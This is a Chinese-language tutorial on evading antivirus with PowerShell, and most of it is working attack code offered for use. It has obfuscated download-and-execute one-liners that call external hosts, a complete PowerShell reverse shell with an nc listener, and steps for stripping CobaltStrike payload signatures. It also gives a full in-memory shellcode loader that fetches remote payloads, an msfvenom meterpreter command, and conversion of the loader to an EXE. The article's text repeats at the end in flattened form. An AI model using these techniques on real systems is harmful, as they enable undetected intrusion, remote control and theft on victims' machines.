Powershell免杀从入门到实践
字数 1192 2025-08-15 21:33:42

PowerShell免杀技术从入门到实践

前言

PowerShell在对抗杀毒软件(Anti-Virus)方面具有强大的功能和灵活性。本文档将详细介绍PowerShell免杀的各种技术和方法,包括执行策略绕过、混淆技术、CobaltStrike payload分析、自定义加载器开发以及PowerShell转EXE等技术。

一、绕过执行策略

PowerShell的执行策略是一种安全机制,可以通过以下方法绕过:

1. 落地文件执行

powershell -ExecutionPolicy bypass -File a.ps1

2. 不落地执行(内存加载)

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')"

3. 混合使用技术

echo Invoke-Expression(new-object net.webclient).downloadstring('http://xxx.xxx.xxx/a') | powershell -

powershell -c "IEX(New-Object Net.WebClient).DownloadString('d://a')"

二、混淆技术

1. 处理PowerShell调用

使用环境变量截取:

%psmodulepath:~24,10%

2. 处理IEX(Invoke-Expression)

设置别名:

set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')

3. 处理DownloadString

使用转义符:

"Down`l`oadString"

4. 处理HTTP

变量拆分:

$a='((new-object net.webclient).downloadstring(''ht';$b='tp://109.xx.xx.xx/a''))';IEX ($a+$b)

或使用中文单引号:

ht'+'tp

5. 综合混淆示例

cmd /c "set p1=power&& set p2=shell&& cmd /c echo (New-Object Net.WebClient).DownloadString("http://109.xx.xx/a") ^|%p1%%p2% -"

echo Invoke-Expression (New-Object "NeT.WebClient")."Down`l`oadString"('h'+'ttp://106.xx.xx.xx/a') | powershell -

chcp 1200 & powershell -c "IEX(New-Object Net.WebClient)."DownloadString"('ht'+'tp://xx.xx.xx/a')"

6. 反弹PowerShell环境技巧

当cmd环境检测严格时,可以先反弹PowerShell环境:

powershell -c "$client = New-Object Net.Sockets.TCPClient('106.xxx.xxx.xxx',9090);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()"

服务端使用nc监听:

nc -lvp 9090

三、分析CobaltStrike PowerShell Payload

1. 典型CobaltStrike payload结构

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("xxx"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

2. 解码payload

将IEX替换为echo查看源码:

powershell -ExecutionPolicy bypass -File aaaaa.ps1 >> old.txt

3. 典型payload结构分析

  • func_get_delegate_type:获取委托类型
  • func_get_proc_address:获取函数地址
  • Base64解码函数,包含XOR异或操作
  • 内存分配和有效负载复制
  • 架构判断和执行

4. 提取bin文件

$enc=[System.Convert]::FromBase64String('base64编码字符串')
for ($x = 0; $x -lt $enc.Count; $x++) { $enc[$x] = $enc[$x] -bxor 35}
$infile = [System.IO.File]::WriteAllBytes("new.bin",$enc)

5. 修改为读取本地bin文件

[Byte[]]$var_code = [System.IO.File]::ReadAllBytes('new.bin')

6. 特征修改

  • 重命名函数:func_get_delegate_typefunc_get_delegate_type_new
  • 重命名变量:$DoIt$aaaa
  • 混淆关键函数:IEXIEX, InvokeInv'+'oke`
  • 重命名变量:$var_code$acode

四、PowerShell加载器开发

1. 远程加载shellcode

Set-StrictMode -Version 2

function func_get_delegate_type_new {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )
    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
    return $var_type_builder.CreateType()
}

function func_get_proc_address_new {
    Param ($var_module, $var_procedure)
    $var_unsafe_native_methods = [AppDomain]::CurrentDomain.GetAssemblies()
    $var_unsafe_native_methods_news = ($var_unsafe_native_methods | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods_news.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods_news.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

If ([IntPtr]::size -eq 8) {
    [Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"($args[0])
    $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address_new kernel32.dll VirtualAlloc), (func_get_delegate_type_new @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
    $var_buffer = $var_va.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
    [System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $var_buffer, $acode.length)
    $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type_new @([IntPtr]) ([Void])))
    $var_runme.Invoke([IntPtr]::Zero)
}

2. 使用方法

生成payload.bin(注意勾选x64),放置在远程服务器上:

powershell -ExecutionPolicy bypass -File old.ps1 http://106.xx.xx.xx/payload.bin

3. 兼容Metasploit

生成raw格式payload:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.26 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 -o /var/www/html/shell.bin

加载执行:

powershell -ExecutionPolicy bypass -File a.ps1 http://10.211.55.26/shell.bin

五、PowerShell转EXE

使用Win-PS2EXE项目将加载器转换为EXE文件:

powershell.exe -ExecutionPolicy bypass -command "&'.\ps2exe.ps1' -inputFile 'old.ps1' -outputFile 'aaa.exe'"

六、总结

  1. 利用cmd和PowerShell语法混淆实现bypass
  2. 分析CobaltStrike PowerShell payload获得自定义加载器
  3. 开发远程加载shellcode的PowerShell加载器
  4. 使用Win-PS2EXE将脚本转换为EXE文件,便于实际利用

参考资料

  1. PowerShell Bypass技巧
  2. 内网防御规避技术
  3. PowerShell安全研究
PowerShell免杀技术从入门到实践 前言 PowerShell在对抗杀毒软件(Anti-Virus)方面具有强大的功能和灵活性。本文档将详细介绍PowerShell免杀的各种技术和方法,包括执行策略绕过、混淆技术、CobaltStrike payload分析、自定义加载器开发以及PowerShell转EXE等技术。 一、绕过执行策略 PowerShell的执行策略是一种安全机制,可以通过以下方法绕过: 1. 落地文件执行 2. 不落地执行(内存加载) 3. 混合使用技术 或 二、混淆技术 1. 处理PowerShell调用 使用环境变量截取: 2. 处理IEX(Invoke-Expression) 设置别名: 3. 处理DownloadString 使用转义符: 4. 处理HTTP 变量拆分: 或使用中文单引号: 5. 综合混淆示例 或 或 6. 反弹PowerShell环境技巧 当cmd环境检测严格时,可以先反弹PowerShell环境: 服务端使用nc监听: 三、分析CobaltStrike PowerShell Payload 1. 典型CobaltStrike payload结构 2. 解码payload 将IEX替换为echo查看源码: 3. 典型payload结构分析 func_get_delegate_type :获取委托类型 func_get_proc_address :获取函数地址 Base64解码函数,包含XOR异或操作 内存分配和有效负载复制 架构判断和执行 4. 提取bin文件 5. 修改为读取本地bin文件 6. 特征修改 重命名函数: func_get_delegate_type → func_get_delegate_type_new 重命名变量: $DoIt → $aaaa 混淆关键函数: IEX → I EX , Invoke → Inv'+'oke ` 重命名变量: $var_code → $acode 四、PowerShell加载器开发 1. 远程加载shellcode 2. 使用方法 生成payload.bin(注意勾选x64),放置在远程服务器上: 3. 兼容Metasploit 生成raw格式payload: 加载执行: 五、PowerShell转EXE 使用Win-PS2EXE项目将加载器转换为EXE文件: 六、总结 利用cmd和PowerShell语法混淆实现bypass 分析CobaltStrike PowerShell payload获得自定义加载器 开发远程加载shellcode的PowerShell加载器 使用Win-PS2EXE将脚本转换为EXE文件,便于实际利用 参考资料 PowerShell Bypass技巧 内网防御规避技术 PowerShell安全研究